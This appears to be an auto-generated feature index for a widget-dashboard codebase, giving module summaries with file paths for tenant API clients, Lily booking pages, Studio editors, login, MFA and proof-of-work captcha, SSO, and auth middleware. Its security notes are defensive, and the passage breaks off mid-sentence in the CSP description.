- **`embed-app.lib.tenants-client`** — Server-side typed client for the openalice-tenants /me/widgets CRUD surface. All calls run server-side (route handlers / server actions / server components) so the tenant bearer token is never shipped to the browser. The `server-only` import enforces this at build time. Schema types/enums live in widgetSchema.ts (client-safe) and are re-exported here for convenience. Routes (openalice-tenants/src/handlers/me/widgets.rs): GET    /me/widgets        — list (WidgetSummary[]) POST   /me/widgets        — create (WidgetFull) GET    /me/widgets/{id}   — get   (WidgetFull) PATCH  /me/widgets/{id}   — patch (WidgetFull) DELETE /me/widgets/{id}   — 204 Auth: HS256 bearer JWT with iss=openalice-auth, role=user, tid claim, signed with SHARED_JWT_SECRET. See devToken.ts (dev) — replace with the real customer session once openalice-auth login is wired. Reachability: tenants is reachable publicly at https://tenants.<domain>, but the dashboard calls it server-side over the docker network via EMBED_ACCOUNTS_INTERNAL_URL (default http://openalice-tenants-dev:3990).  
  *embed-dashboard/src/lib/tenants.ts:2*
- **`embed-app.lib.validators`** — Tests for the unified primitive input validators. Locks in the canonical email/URL semantics so the (previously duplicated) call sites can't drift.  
  *embed-dashboard/src/test/validators.test.ts:2*
- **`embed-app.lib.validators`** — Single source of truth for the primitive input validators that were previously copy-pasted across the dashboard (email in 6 sites with two divergent implementations; the https:// URL check in 8 sites with three implementations). Both the client editors (pre-submit UX) and the server actions (trust boundary) import from here so the same rule applies on both sides — the openalice-tenants Rust service remains the authoritative gate. Client-safe: pure functions, no `server-only` import — both server modules and "use client" components may import this.  
  *embed-dashboard/src/lib/validators.ts:2*
- **`embed-app.lib.voice-catalog`** — Client-SAFE schema + helpers for the per-widget AI-VOICE selector. This module is imported by BOTH the server-only API client (voices.ts) and the browser VoiceSelector component, so it carries NO `server-only` import and never touches the tenant bearer token. The catalog itself is served by openalice-tenants: GET /me/voice-catalog → { voices: VoiceCatalogEntry[], plan: string } The tenants server is the REAL gate: PATCH /me/widgets/{id} re-validates the chosen tts_provider + voice_id against the catalog, the tenant's plan, and the widget's eu_only_mode (rejects 400 if not allowed). These helpers only decide what the owner is OFFERED (region filter) or shown LOCKED (tier gating). The plan-tier ladder is shared with the model catalog so the two pickers rank entitlements identically.  
  *embed-dashboard/src/lib/voiceCatalog.ts:2*
- **`embed-app.lib.voice-catalog.test`** — Unit tests for the client-safe voice-catalog helpers that drive the per-widget AI-voice selector: the eu_only_mode REGION filter, the plan TIER gating (free < starter < pro < business, shared with the model catalog), and the preview-URL builder.  
  *embed-dashboard/src/test/voiceCatalog.test.ts:2*
- **`embed-app.lib.voices-client`** — Server-side typed client for the openalice-tenants /me/voices voice-library CRUD surface. Cloned voices are created via the Mistral Voices API (api.mistral.ai — EU-sovereign, direct, NOT via OpenRouter) by the tenants service; the dashboard never holds the MISTRAL_API_KEY and never touches the raw voice sample after upload. The `server-only` import enforces that the tenant bearer token + base64 audio never ship in the browser bundle. Routes (openalice-tenants/src/handlers/me/voices.rs): GET    /me/voices              — list   (VoiceClone[]) POST   /me/voices              — clone  (VoiceClone)   ← base64 audio + consent GET    /me/voices/{id}         — get    (VoiceClone) PATCH  /me/voices/{id}         — update (VoiceClone)   ← name/slug/tags only DELETE /me/voices/{id}         — 204    (also NULLs widgets.voice_id) GET    /me/voices/{id}/sample  — audio bytes (proxies Mistral sample) Auth + reachability mirror tenants.ts exactly: HS256 bearer JWT via getDashboardToken(), EMBED_ACCOUNTS_INTERNAL_URL over the docker network.  
  *embed-dashboard/src/lib/voices.ts:2*
- **`embed-app.lib.webhook-events`** — The allowed set of webhook event types, in a CLIENT-SAFE module (no `server-only` import) so a `"use client"` component (e.g. WebhooksView) can import the runtime value without dragging the server-only `lib/tenants` module into the client bundle. `lib/tenants` re-exports these for server- side callers. Must stay in sync with openalice-tenants' VALID_WEBHOOK_EVENTS and the events agent-lite emits.  
  *embed-dashboard/src/lib/webhookEvents.ts:2*
- **`embed-app.lib.widget-access`** — Tenant-ownership gate for the internal-secret-authenticated read proxies (conversations / insights / analytics / kb-stats / leads-export). Those routes forward a CLIENT-supplied widget id to agent-lite using ONLY the shared service secret (x-internal-secret), which carries no caller identity. Without this gate a logged-in user of ANY tenant could read another tenant's conversations / leads / insights by passing that tenant's PUBLIC widget id — it is exposed in every customer site's embed snippet (`data-widget="<public_id>"`). Resolution (id can arrive as EITHER form — that mismatch is the bug this fixes): - The dashboard's per-widget editor surfaces address a widget by its INTERNAL id (a UUID, e.g. `/widgets/persona?id=<uuid>`). - The conversations / insights / analytics clients address it by its PUBLIC id (`wgt_*`), because that's what agent-lite keys conversation data on (the public id is what the embed snippet ships). tenants' `GET /me/widgets/{id}` binds the path to a Uuid, so it accepts ONLY the internal id. Calling it with a `wgt_*` public id parse-fails (400) and collapses to a spurious 404 — which is exactly why /conversations showed "Widget not found" even though the widget exists. So: - A UUID is gated by a tenant-scoped getWidget() (a successful fetch proves access — owning-tenant members AND per-widget guest grants, via the backend ReBAC gate). - A public id is resolved against the tenant-scoped widget list: a match proves the calling session's tenant owns the widget, and another tenant's public id is never in this list (IDOR-safe, no existence leak). NOTE (perf follow-up): the gate adds one tenants round-trip per gated request (a getWidget for the UUID path, a listWidgets for the public-id path), including the 3s transcript poll. Acceptable at pilot scale; the long-term fix is to pass the tid to agent-lite and enforce widget→tenant there (the convert path already sends the tenant JWT).  
  *embed-dashboard/src/lib/widgetAccess.ts:2*
- **`embed-app.lib.widget-access`** — The ownership gate that closes the cross-tenant IDOR on the internal-secret read proxies (conversations / insights / analytics / kb-stats). The id can arrive as EITHER the internal UUID (the per-widget editor surfaces) OR the `wgt_*` public id (the conversations / insights clients — agent-lite keys on the public id). It must: - INTERNAL-ID (UUID) path — gate via tenant-scoped getWidget(): - GRANT when getWidget() resolves (caller owns / is granted the widget) - 401 when there is no session (TenantsNotConfiguredError) - 404 — without leaking existence — when getWidget 404s/403s - 401 only when tenants itself returns 401 (so the client can re-auth) - 502 on an unexpected upstream error - PUBLIC-ID (`wgt_*`) path — resolve against the tenant widget list: - GRANT when the public id is in the tenant's listWidgets() - 404 when it is not (owned by another tenant / missing — no leak) - 401 when the list call has no session  
  *embed-dashboard/src/test/widgetAccess.test.ts:2*
- **`embed-app.lib.widget-schema`** — Tests for the proactive-triggers slice of widgetSchema.ts (§proactive-triggers / EMBED_PROACTIVE_TRIGGERS_V1). Two halves: 1. Contract constants — the cross-repo config contract bounds (types, actions, max 8 rules, seconds 5..600, depth 10..100, url ≤200 chars, message 1..280 chars). If a constant drifts the test fails before any form or payload can silently accept a wrong value. 2. parseProactiveTriggersJson — the sanitizer between the Mode editor's hidden proactive_triggers_json input and the PATCH payload: malformed JSON / non-arrays → null (skip the field), malformed rules dropped, thresholds clamped, foreign threshold keys stripped, max 8 enforced.  
  *embed-dashboard/src/test/proactiveTriggers.test.ts:2*
- **`embed-app.lib.widget-schema`** — Client-safe widget schema: enums, value lists, and DTO types mirrored from openalice-tenants (src/handlers/me/widgets.rs). No server-only imports here, so both server modules (tenants.ts) and client components (PersonaEditor.tsx) can import these without leaking the network client into the browser bundle.  
  *embed-dashboard/src/lib/widgetSchema.ts:2*
- **`embed-app.lib.widget-schema`** — Tests for widgetSchema.ts — the client-safe schema constants, enum arrays, and bounds values that drive every settings form and API payload validator. These are pure constant assertions: if a constant changes accidentally the test fails before any form or API can silently accept a wrong value.  
  *embed-dashboard/src/test/widgetSchema.test.ts:2*
- **`embed-app.lib.widget-setup`** — Single source of truth for "is this widget set up?" — the four core onboarding steps (Persona → Knowledge → Appearance → Deploy) and their honest completion heuristics. Previously these heuristics lived privately inside FirstRunChecklist. The per-widget Overview home needs the same answer ("what's the next step?"), so the logic is extracted here and consumed by BOTH — one definition, no drift. Heuristics are unchanged (never fakes "done"): - Persona   : persona_script is non-empty - Knowledge : brand_kb_url is non-empty - Appearance: appearance.theme_color is a string (user customised branding) - Deploy    : published_at is non-null (widget has been published)  
  *embed-dashboard/src/lib/widgetSetup.ts:2*
- **`embed-app.lib.widget-setup`** — Tests for the shared setup-completion heuristics consumed by both FirstRunChecklist and the per-widget Overview home. Coverage: 1. Each heuristic (persona/knowledge/appearance/deploy) is honest — done only when the underlying field is genuinely set. 2. setupSteps returns the 4 steps in order with correct hrefs + done flags. 3. setupDoneCount / isSetupComplete aggregate correctly. 4. firstIncompleteStep returns the first not-done step (or null when done).  
  *embed-dashboard/src/test/widgetSetup.test.ts:2*
- **`embed-app.lib.widget-setup-server`** — Tests for resolveKnowledgeDone — the shared, source-aware Knowledge tick every FirstRunChecklist mount threads through (design-jury F5). Contract: 1. Legacy brand_kb_url set → true WITHOUT calling the sources API. 2. No brand_kb_url → true iff the widget has ≥1 kb/sources row. 3. Sources API failure → falls back to the heuristic's answer (false here) — degrades honestly, never fakes done.  
  *embed-dashboard/src/test/widgetSetupServer.test.ts:2*
- **`embed-app.lib.widget-setup-server`** — Server-side resolver for the ONE setup fact the widget row alone can't Since KB ULTRAWIKI M2 a widget's knowledge lives in `kb/sources` rows — url pages added through the wiki never touch the legacy `brand_kb_url` column, so the old per-row heuristic (`isKnowledgeDone`) under-reports on every page except /widgets/knowledge (which had the source list in hand and passed its own override). This helper lifts that override into shared server data: EVERY FirstRunChecklist mount (persona / overview / install / brand / knowledge) resolves the same source-aware answer. `server-only` (transitively via lib/tenants) — the checklist component itself stays a client component and just receives the boolean.  
  *embed-dashboard/src/lib/widgetSetup.server.ts:2*
- **`embed-app.lib.widget-tabs`** — Single canonical source for the per-widget horizontal tab strip. Previously each editor file (PersonaEditor, ModeEditor, AppearanceEditor, KnowledgeEditor, VoiceEditor, AnalyticsView, ABTestsView, …) duplicated its own WIDGET_TABS constant with a slightly different set of entries. That created visible inconsistency — Persona showed a "Voice" tab that Mode lacked; Mode showed an "Hours" tab that Persona lacked, etc. The canonical tab order is: Overview → Persona → Knowledge → Mode → Hours → Email → Appearance → Voice → Analytics → A/B tests → Inbox → Webhooks → Test drive → Deploy Each call to `widgetTabs(id, active)` receives the widget id and the label of the currently-active tab, and returns the full list with the matching entry marked `active: true`. Editors that previously omitted some tabs now render the full, consistent strip.  
  *embed-dashboard/src/lib/widgetTabs.ts:2*
- **`embed-app.lib.widget-tabs`** — Guards the canonical per-widget tab source consumed by <WidgetTabs/> AND the Overview home's journey grid — so the two can never drift. Coverage: 1. Overview routes to the per-widget HOME (/widgets/overview?id=), not the all-widgets list (the IA fix this test locks in). 2. Canonical order + every section tab's deep-link carries ?id=. 3. Set up → Launch → Grow journey grouping (Overview/Settings ungrouped). 4. The active label is marked active with href "#".  
  *embed-dashboard/src/test/widgetTabs.test.ts:2*

### embed-app/lily
- **`embed-app.lily.chat-mount`** — The ONLY client island on the public Lily page: mounts the real embed-widget INLINE into the chat block (S2 Р5 — zero new chat logic). Mechanism: renders the container <div>, then injects the SDK <script> with the same data-attrs the customer snippet uses — data-widget     = the resolve's widget public_id data-container  = this island's container selector data-inline     = "true" (open, filling the container — no launcher) data-accent-color = the page accent (--oa-accent's value) data-locale     = the page's resolved locale data-agent-name = the agent's display name — the resolve's real name when it carries one, else «Lily» (the page's product face). Without it the widget capitalizes its nominal agent slug — a data-widget-only mount falls back to the slug "widget" and titles the chat «Widget» (caught live on /l/demo-laden). data-page-slug  = THIS page's slug (S2 F1) — the widget forwards it as `page_slug` on the session bootstrap so the runtime injects the page-context overlay (serve as THIS point; booking in scope). Server-verified per turn. data-theme      = the widget skin, matched to the PAGE theme (larёk round 3: «виджет белым или чёрным в зависимости от темы»): blocks.theme light/dark map 1:1; `auto` resolves against prefers-color-scheme at mount time (this is a client island — matchMedia is available; the same query lily.css keys the page skin off, so page and widget can never disagree). Static per page-load like every other attr — an OS theme flip mid-visit re-skins the page live via CSS but the widget on the next load; accepted (script attrs are read once by the SDK loader). The script host (embed.blal.pro) is already allow-listed in the dashboard CSP's script-src, and the widget's API/WS hosts in connect-src. FAIL-SOFT (acceptance: kill-switch → the page stays useful): when the bundle fails to load (script error) or nothing mounts within the watchdog window, the island swaps to the server-provided `fallback` node — the copy-pack «Lily macht gerade Pause» card. The static blocks around the chat are SSR and never depend on this island.  
  *embed-dashboard/src/app/l/[slug]/LilyChatMount.tsx:4*
- **`embed-app.lily.chat-mount.test`** — Fail-soft tests for the public page's ONLY client island. Acceptance (S2 P0 item 2): the chat slot degrades to the «Lily macht gerade Pause» card when the widget bundle errors OR nothing mounts in the watchdog window — while a successful mount keeps the container. Also pins the injected script's data-attr contract (the customer-snippet attrs).  
  *embed-dashboard/src/test/LilyChatMount.test.tsx:2*
- **`embed-app.lily.page-blocks.test`** — Render tests for the SHARED Lily page block components — the module both the public /l/[slug] route and the Studio preview compose (reuse law). Covers: header (name + tagline default), hours/prices rows + notes, contact links (tel:/mailto:/https), the Störung block + its toggle-off, the footer compliance slots (Impressum text vs the MANDATORY placeholder, Datenschutz link, the Art. 50 line, powered-by + referral CTA), the pause card (fallback essentials), and the accent → --oa-accent stamp. Round 2 (two-zone larёk canon): the dot-leader price menu, the hours-vs-menu typography split, cards-only-for-pressables (four free sections, no card skins), and the shell's canonical child order that the two-zone grid re-projects (header → chat counter → wall → footer).  
  *embed-dashboard/src/test/LilyPageBlocks.test.tsx:2*
- **`embed-app.lily.setup-assistant`** — The Studio «Setup-Assistent» section (S2-HANDOFF §P0.5 «два входа», door (b)) — collapsible, paid-badged like the A/B page's Pro gate: 4 wizard questions (business type input, tone + goal selects, notes) + a materials drop (pasted texts, link list, photo upload — JPEG/PNG/WebP, ≤10MB each, ≤4) → «Generieren» → POST /api/generate-setup (BFF → accounts → ONE paid LLM call) → the result: an EDITABLE persona draft textarea + editable items draft rows + typed notes → «Übernehmen» hands both to the parent Studio form (items appended to the shelf editor state, persona STAGED for the normal save) — NOTHING is persisted until the user saves. Plan gate: paid (Starter+) — mirrors ABTestsView's tierRank pattern; a free/plan-less tenant sees the disabled button + the upgrade CTA. The «Ohne Materialien starten» template fallback stays FREE (local assembly, no LLM — the canon's zero-compute fallback), for every plan.  
  *embed-dashboard/src/app/(dash)/widgets/lilypage/SetupAssistant.tsx:4*
- **`embed-app.lily.setup-assistant.test`** — Tests for the Studio «Setup-Assistent» (S2 P0.5 door (b)): - lib: link normalization, photo pre-validation, the FREE local template. - component: the paid (Starter+) gate with the upgrade CTA, the mocked generation flow (BFF fetch → editable drafts + typed notes), the typed rate-limit error, and the no-network template fallback. - integration: applying drafts inside the full LilyPageStudio appends the item rows to the shelf editor (items_json) and STAGES the persona via the persona_script/persona_dirty hidden inputs — nothing auto-saved.  
  *embed-dashboard/src/test/SetupAssistant.test.tsx:2*
- **`embed-app.lily.shelves-island`** — The SECOND client island on the public Lily page (S2 P0.5): the shelves block + the INLINE booking flow. All visuals are @openalicelabs/ui/lily pure components (reuse law — the wizard preview renders the same kit); this island owns only the state machine + fetches: press item card → panel expands INLINE under the grid (no overlay — no scroll traps on a 393px phone; identical inside the wizard frame) → 7-day chip row (dates computed in the PAGE's timezone — timezone honesty; a note appears when the visitor's device zone differs) → slot grid (GET /api/lily/{slug}/availability?date=…, per-day cache; the SSR page hands today's grid in as `initialAvailability`, so the first open costs ZERO round-trips — the <60s flow) → name+phone (+email/note optional) → POST /api/lily/{slug}/bookings → mode-honest confirmation: 201 status=new (owner_confirm) renders the «заявка отправлена — владелец подтвердит» state, status=confirmed (auto) the confirmed state; 409 slot_full re-fetches the day and asks for another slot; 400 unknown_item (the owner re-saved the shelf and the item's id churned mid-flow — S2 verifier F3) shows the friendly «offer just changed — refreshing» line, router.refresh()es the RSC payload and remaps the open item by name so a second press succeeds. The AGB line («Reservierung unverbindlich. Zahlung vor Ort.») shows under the submit AND on the confirmation. Booking OFF (page has shelves but no calendar): LilyShelves renders the items as typographic menu rows — nothing pressable, no island state ever engages (canon: cards only for pressables). Design-audit lifts (2026-07-13): - open → the whole 7-day row is WARMED in the background (per-day cache; today stays the SSR zero-round-trip seed) — day switches are instant and a day answering an EMPTY grid disables its chip honestly («Geschlossen»); - open → auto-scroll + focus onto the panel (it expands below the whole grid — see the documented placement decision at openPanel); - submit → island-side localized validation (ui form is noValidate; designed inline errors, no native browser bubbles); - success → name echo + «Weitere Reservierung» + the panel header flips to the confirmation title (no stale «Reservieren — item»).  
  *embed-dashboard/src/app/l/[slug]/LilyShelvesIsland.tsx:4*
- **`embed-app.lily.shelves-island.test`** — The public page's booking island — the whole visitor flow over mocked fetch (the real ui-kit components render; only the network is stubbed): - booking OFF → typographic rows, nothing pressable, no panel ever; - booking ON → pressable cards; press → INLINE panel with the 7-day row + the SSR-seeded slot grid (TODAY never re-fetches — the seed contract; the OTHER six days are prefetched in the background so day switches are instant and closed days disable honestly); - a day whose availability answers an EMPTY slot list renders a DISABLED «Geschlossen» chip (design-audit bonus lift); - slot pick → the 2-required-field form with the AGB line; - submit with missing/invalid fields → DESIGNED localized inline errors (noValidate — no native bubbles), no POST fired; - submit 201 status=new → the «заявка» success (owner confirms) + AGB + the name echo + «Weitere Reservierung» + the panel header flips; - submit 409 slot_full → the honest slot-full error + a day re-fetch; - submit 400 unknown_item → the friendly «offer just changed» line + router.refresh() + a forced day re-fetch, and the open item remaps by NAME when the refreshed shelves land (S2 verifier F3).  
  *embed-dashboard/src/test/LilyShelvesIsland.test.tsx:2*
- **`embed-app.lily.studio`** — Client editor for the hosted Lily page (S2 M2) — the «Lily Page» tab. Left: the wizard — slug (live validation mirroring the server rules + an on-blur availability probe), the block editors (name+accent, hours, prices, contact, Störung toggle, Impressum with the DE-required rule, Datenschutz override, fallback essentials), the enabled switch, and the QR section (current QR SVG from qr_token → {qrBase}/q/{token}, Rotate behind a Modal with the honest «printed posters die» warning, and the POSTER download (S2 M3): size A5/A6 + headline 1..4 pickers → GET /api/poster/{slug}. The headline options preview the copy-pack §1 canon in the PAGE's locale collapsed to DE/EN (posterLocaleFor); the PDF itself derives its locale server-side from the SAVED page, so an unsaved locale flip only affects the picker preview, never the print. Right: the LIVE PREVIEW — a phone frame rendering LilyPageBody, THE SAME composition the public /l/[slug] route renders (component-reuse law). The chat slot shows a faithful non-interactive stub (the real widget mount lives on the public page + the Test drive tab); the stub's greeting is the copy-pack «Чат-приветствие» in the PAGE's locale. Save: saveLilyPageAction (PUT). 409 slug_taken → inline error on the slug field. Loading/saved/error states mirror the Hours editor pattern. Structural decomposition (2026-07-15): the shelf-item card editor, the booking-calendar editor, and the live preview aside moved to their own files (ShelfItemsSection / BookingSection / PreviewPane — the three genuinely oversized pieces), plus the smaller already-component-shaped bits (LilyQr / RowsEditor / ShelvesPreview / the item-draft helpers). Everything that stays here is either cross-cutting state entangled with the 3-PUT save + server-truth mirror rebuild (see the «Полки» state block below), or a section that was already a modest, clean, reasonably sized block — left alone on purpose (no churn-for-churn's-sake). No behavior, wording, or persisted value changed.  
  *embed-dashboard/src/app/(dash)/widgets/lilypage/LilyPageStudio.tsx:4*
- **`embed-app.lily.studio-actions`** — Server actions for the Lily Page studio (S2 M2). Kept in their own module (not the widgets/actions.ts god-file) — single concern, single i18n namespace (`lilyStudio`, which also keeps the used-keys guard active on this file). - saveLilyPageAction    — PUT /me/widgets/{id}/page (create-or-replace). 409 code="slug_taken" → inline slug error. - checkLilySlugAction   — availability probe for the wizard's on-blur check via the PUBLIC resolve. Advisory only: a disabled page's slug is invisible publicly, so «available» here can still 409 on save — the PUT stays authoritative. - rotateLilyQrAction    — POST rotate-qr; old printed QR links die (410). Validation mirrors the wizard's inline rules (lilyPageSchema) and re-runs server-side; embed-accounts validates authoritatively behind that.  
  *embed-dashboard/src/app/(dash)/widgets/lilypage/actions.ts:4*
- **`embed-app.lily.studio-actions.test`** — Tests for the S2 P0.5 save orchestration in saveLilyPageAction — the THREE-PUT flow and its ordering guarantees: 1. PUT items FIRST (only when dirty — replace-all churns ids and nulls item_id on existing bookings, so an untouched shelf must never re-PUT; an untouched shelf instead GETs the CURRENT catalog so the mirror can never carry another tab's churned-away ids — S2 verifier F3), fresh server ids feed… 2. PUT page with blocks.shelves = the ENABLED-items mirror (there is no public items endpoint — the blocks jsonb carries the shelf), then 3. PUT booking config (only when dirty; AFTER the page PUT because the config lives ON the page row — 404 until one exists). Plus: shelf validation short-circuits before ANY network, item errors name the row, 409 slug_taken still lands inline, and a booking-PUT failure reports precisely (the page DID save).  
  *embed-dashboard/src/test/lilypageActions.test.ts:2*
- **`embed-app.lily.studio.booking-section`** — S2 P0.5 booking calendar editor: the accept-reservations toggle, slot length, parallel capacity, the owner_confirm/auto mode fieldset, the reminder toggle, and the hours-fallback note. Extracted from LilyPageStudio (structural decomposition only) — `booking` stays owned by the parent (its JSON baseline/dirty-diff feeds the save's booking_json / booking_dirty hidden inputs), threaded down as a plain state + setter pair, same update calls as before the split.  
  *embed-dashboard/src/app/(dash)/widgets/lilypage/BookingSection.tsx:4*
- **`embed-app.lily.studio.item-drafts`** — S2 P0.5 «Полки» — shelf item draft helpers: the editor's local row shape (ItemDraft, strings for the numeric fields the user types) + the pure conversions to/from the wire shape the save action + preview consume. Extracted from LilyPageStudio (structural decomposition only) — no behavior change. `nextItemDraftKey()` is the single shared sequence for every new local row (loaded rows, Setup-Assistent drafts, and the manual "+ Add item" button all mint through it, same as before the split — a module is a singleton, so the counter stays global).  
  *embed-dashboard/src/app/(dash)/widgets/lilypage/itemDrafts.ts:2*
- **`embed-app.lily.studio-loading`** — Route-level Suspense fallback for /widgets/lilypage — in-shell skeleton (tab strip + editor sections + the phone-frame preview) covering the server-side getWidget()+getWidgetPage() fetch window.  
  *embed-dashboard/src/app/(dash)/widgets/lilypage/loading.tsx:6*
- **`embed-app.lily.studio.preview-pane`** — The LIVE PREVIEW — a phone frame rendering LilyPageBody, THE SAME composition the public /l/[slug] route renders (component-reuse law), plus the theme toggle (mirrors the wizard's theme select — same state, both directions) and the pause-mode preview switch. Extracted from LilyPageStudio (structural decomposition only) — presentational, props-only; THEME_LABEL_KEY is intentionally recomputed here (a pure derivation of the `theme` prop + this component's own translations) rather than threaded down, the same pattern ModePreviewPanel / PersonaPreviewPanel use for their own local derivations.  
  *embed-dashboard/src/app/(dash)/widgets/lilypage/PreviewPane.tsx:4*
- **`embed-app.lily.studio.qr`** — Inline QR renderer — same vendored encoder + rect-based SVG pattern as the MFA setup QR (lib/qr): no innerHTML, integer coordinates only. Extracted from LilyPageStudio (structural decomposition only).  
  *embed-dashboard/src/app/(dash)/widgets/lilypage/LilyQr.tsx:4*
- **`embed-app.lily.studio.rows-editor`** — Label/value rows editor for the Hours + Prices blocks. Extracted from LilyPageStudio (structural decomposition only) — reused by both blocks, props-only, no owned state.  
  *embed-dashboard/src/app/(dash)/widgets/lilypage/RowsEditor.tsx:4*
- **`embed-app.lily.studio.shelf-items-section`** — S2 P0.5 «Полки» — the shelf catalog editor: item cards (kind select, name, description, price/duration/enabled, reorder + remove tools) and the "+ Add item" affordance under the ≤20 cap. Extracted from LilyPageStudio (structural decomposition only) — the drafts array, the per-row validity, and the mutating handlers (patch/move/add/remove) all stay owned by the parent (entangled with the save/mirror + dirty- tracking logic — see LilyPageStudio's «Полки» state block); this component is purely presentational, props-only.  
  *embed-dashboard/src/app/(dash)/widgets/lilypage/ShelfItemsSection.tsx:4*
- **`embed-app.lily.studio.shelves-preview`** — The wizard preview's INTERACTIVE booking flow — the same ui-kit pieces the public island renders, fed with SAMPLE slots derived from the calendar editor state (slot length ×6 from 10:00, one slot deliberately full so the founder sees the greyed-out state). Submitting shows the mode-honest success state — the whole visitor journey is provable inside the phone frame without deploying. Extracted from LilyPageStudio (structural decomposition only) — props-only, owns only its own ephemeral panel/form state.  
  *embed-dashboard/src/app/(dash)/widgets/lilypage/ShelvesPreview.tsx:4*
- **`embed-app.lily.studio.test`** — Tests for the Lily Page studio (S2 M2 wizard): slug validation UI (live rule errors + the on-blur availability probe), the DE-Impressum publish gate, the save flow (mocked PUT — success badge + 409 slug_taken inline), the QR section (SVG from qr_token, rotate behind the Modal confirm with the honest warning, the M3 poster download with size + headline pickers previewing the copy-pack canon in the page's DE/EN), and the live preview (the SAME LilyPageBody the public page renders — reuse law — including the pause-mode preview toggle).  
  *embed-dashboard/src/test/LilyPageStudio.test.tsx:2*

### embed-app/locale-switcher
- **`embed-app.locale-switcher`** — Language switcher = the canonical library Select (full ARIA  
  *embed-dashboard/src/components/LocaleSwitcher.tsx:4*

### embed-app/login
- **`embed-app.login.actions`** — Server actions for real customer auth. These run server-side so the plaintext password never touches the browser bundle and the returned tenant JWT is seated directly into the HttpOnly session cookie. - loginAction:  auth-direct platform chain (authClient),  set cookie, redirect to /widgets. - signupAction: auth-direct platform chain (authClient), set cookie, redirect to /widgets. Error policy: every failure (bad creds, unknown email, duplicate account, upstream fault) collapses to a single generic message. We deliberately do NOT reveal which field was wrong — this resists account enumeration. MFA (TOTP) login challenge — WIRED: when tenants/login answers `mfa_required`, the action returns `mfaRequired: true` instead of an error. The login page then reveals a 6-digit code field; the user resubmits the SAME credentials plus `mfa_code`, which tenants forwards to auth's /internal/users/{id}/mfa/verify (TOTP or a one-time backup code). A wrong code comes back as `mfa_required` again with a clear, non-secret message so the user can retry without leaking whether the password was also wrong. CSRF: these are same-origin Next server actions invoked from a form on the same origin; combined with the SameSite=Lax session cookie, cross-site forgery is blocked.  
  *embed-dashboard/src/app/login/actions.ts:4*
- **`embed-app.login.actions`** — Tests for login/signup server actions. Key behaviors under test: loginAction: - Missing email/password → returns GENERIC_LOGIN_ERROR (no enumeration) - Upstream "rejected" (wrong creds) → same GENERIC_LOGIN_ERROR (not "email not found") - Upstream "unreachable" → returns UNREACHABLE_ERROR message - Upstream "mfa" → flags mfaRequired (no error/redirect); a rejected code on resubmit shows the retry message; the code is forwarded to tenants - Success → calls setSessionCookie + redirect (tested via mock throw) signupAction: - Missing email/password → GENERIC_SIGNUP_ERROR - Short password (<8 chars) → "Password must be at least 8 characters." (NOT generic) - Success → calls setSessionCookie + redirect Anti-enumeration check: ALL bad-credential paths (wrong password, unknown email, malformed email) must return the SAME error string so an attacker cannot distinguish "email not registered" from "wrong password". NOTE: loginAction / signupAction import from @/lib/authClient and @/lib/session. authClient has `server-only`, stubbed by the vitest alias. We mock both modules entirely with vi.mock so no real network calls happen.  
  *embed-dashboard/src/test/loginActions.test.ts:2*
- **`embed-app.login.pow-challenge-gate`** — Tests for the client-side proof-of-work solver — `leadingZeroBits` and `solvePowChallenge` — the browser half of `oa_framework::pow_captcha`. These must agree EXACTLY with the Rust server's `leading_zero_bits`/`PowCaptcha::verify` (crates/oa-framework/src/ pow_captcha.rs) or a correctly-solved challenge in the browser would be rejected server-side — see the cross-check test below, which mirrors `oa_framework::pow_captcha::tests::leading_zero_bits_counts_correctly` with the SAME vectors.  
  *embed-dashboard/src/test/PowChallengeGate.test.ts:2*
- **`embed-app.login.pow-challenge-gate`** — SOTA-2026 login-abuse defense, frontend half. openalice-auth's `oa_framework::pow_captcha` (self-hosted, HMAC-signed — see that module's doc for the full ALTCHA-equivalent-not-a-port rationale) issues a proof-of-work challenge once one email's consecutive login failures cross a grace threshold; this component solves it INVISIBLY client-side (native Web Crypto, no third-party script, no network call to anything but our own `/auth/login`) and auto-resubmits the sign-in form with the solution attached — the user never sees a widget to click, only a brief "verifying…" line before the form submits itself again with whatever they've typed. Zero external dependencies: no CDN script, no npm captcha package. An earlier design considered bundling the official `altcha` npm widget, but its current wire protocol (KDF/prefix-matching + canonical-JSON HMAC) didn't match what a from-scratch Rust port could safely replicate under this task's time/review constraints — see `oa-framework/src/pow_captcha.rs`'s module doc. This component talks the exact (simpler, textbook Hashcash-style) protocol that verifier actually implements.  
  *embed-dashboard/src/app/login/PowChallengeGate.tsx:2*
- **`embed-app.login.pow-challenge-gate`** — Component-level test for `PowChallengeGate`'s actual DOM wiring: it must (1) show a "solving" indicator immediately, (2) once solved, inject a `pow_solution` hidden input into the SAME form carrying the solved payload, (3) auto-`requestSubmit()` that form so the whole flow is invisible (no extra click), and (4) never re-solve or re-submit for a challenge_id it has already solved. The pure solving math is covered separately in PowChallengeGate.test.ts; this file covers the React/DOM integration that math is wired into.  
  *embed-dashboard/src/test/PowChallengeGateRender.test.tsx:2*
- **`embed-app.login.sso-actions`** — Tests for the ssoStartAction server action (U4 milestone-2). Key behaviors: - Missing / malformed email → SSO_NOT_FOUND (no crash, no redirect). - No public tenants base URL configured → SSO_UNAVAILABLE. - Domain has no enabled org (resolve → null) → SSO_NOT_FOUND. - A non-UUID account_id from resolve → SSO_UNAVAILABLE (defends the redirect target even though it's our own backend). - Happy path → redirects the BROWSER to `<base>/sso/{uuid}/start`. - A safe `next` is forwarded as ?next=…; an open-redirect `next` (//evil, https://evil) is DROPPED. We mock @/lib/tenants (server-only) so no network calls happen; redirect() is the shared next-navigation mock that throws NEXT_REDIRECT:<url>.  
  *embed-dashboard/src/test/ssoActions.test.ts:2*

### embed-app/middleware
- **`embed-app.middleware.auth-guard`** — Route guard for the authenticated dashboard surface. Redirects to /login when there is no live session. Protected: every dashboard route (widgets, conversations, insights, analytics, settings, onboarding, home). Public: /login, /logout, /legal/*, static assets, and Next internals (handled by the matcher). Dev fallback: when no real session cookie is present but a dev token is configured (EMBED_DASHBOARD_DEV_TOKEN, or SHARED_JWT_SECRET + EMBED_DEV_TENANT_ID), the guard lets the request through so the existing dev workflow keeps working without logging in. The dev fallback is itself gated on OPENALICE_ENV === "dev" (see devTokenConfigured), so in prod/staging the guard always enforces a real session — even if a dev-token env var is stray-present. This runs on the Edge runtime, so it cannot import the `server-only` session helpers — the cookie name + the lightweight exp check are inlined here. Signature verification stays in tenants (AuthUser); the guard only gates navigation, never trusts the token for data access. @feature embed-app.middleware.nonce-csp Per-request nonce-based Content-Security-Policy. Drops 'unsafe-inline' from script-src in favour of a fresh nonce on every HTML response. Mechanism (Next.js 16 App Router): 1. Generate nonce via btoa(crypto.randomUUID()) — 